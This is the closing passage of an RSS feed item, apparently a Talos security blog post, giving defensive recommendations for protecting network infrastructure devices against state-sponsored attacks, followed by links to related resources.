end-of-life. Using networking equipment that has been built with secure-by-design principles such as running secure boot, alongside having a robust configuration and patch management approach, is key to combatting these types of threats. Ensure that these devices are being watched very carefully for any configuration changes and patch them promptly whenever new vulnerabilities are discovered.&#xA0;</p><p>Proactive threat hunting is also one of the ways that organizations can root out visibility gaps and hints of incursion. Look for things like VPN tunnels, or persistent connections that you don&apos;t recognise. This is the type of thing that will be left in an attack of this nature.&#xA0;&#xA0;</p><p>And finally, the definition of post compromise means that the attacker had gained some form of credentials to get them to the place where they could then launch the exploit and get deeper access to the device.&#xA0;&#xA0;</p><p>Our recommendations are to select complex passwords and community strings, use SNMPv3 or subsequent versions, utilize MFA where possible, and require encryption when configuring and monitoring devices. Finally, we recommend locking down and aggressively monitoring credential systems like TACACS+ and any jump hosts.&#xA0;</p><h3 id="additional-resources">Additional resources</h3><p><a href="https://blog.talosintelligence.com/state-sponsored-campaigns-target-global-network-infrastructure/" rel="noreferrer noopener"><u>State-sponsored campaigns target global network infrastructure</u></a> (Talos blog)&#xA0;&#xA0;</p><p><a href="https://blogs.cisco.com/security/network-resilience-accelerating-efforts-to-protect-critical-infrastructure"><u>Network Resilience: Accelerating Efforts to Protect Critical Infrastructure</u></a> (Cisco blog)&#xA0;</p><p><a href="https://www.centerforcybersecuritypolicy.org/initiatives/network-resilience-coalition" rel="noreferrer noopener"><u>Network Resilience Coalition: Full report</u></a>&#xA0;</p><p><a href="https://www.cisa.gov/news-events/news/securing-network-infrastructure-devices" rel="noreferrer noopener"><u>Securing Network Infrastructure Devices (CISA)</u></a>&#xA0;</p><p><a href="https://blog.talosintelligence.com/one-year-later-vpnfilter-catastrophe/" rel="noreferrer noopener"><u>The VPN Filter catastrophe that wasn&#x2019;t</u></a>&#xA0;</p><p><a href="https://www.cisco.com/c/en/us/about/trust-center/network-resilience.html" rel="noreferrer noopener"><u>Cisco Trust Center: Network Resilience</u></a>&#xA0;</p>]]></content:encoded></item></channel></rss>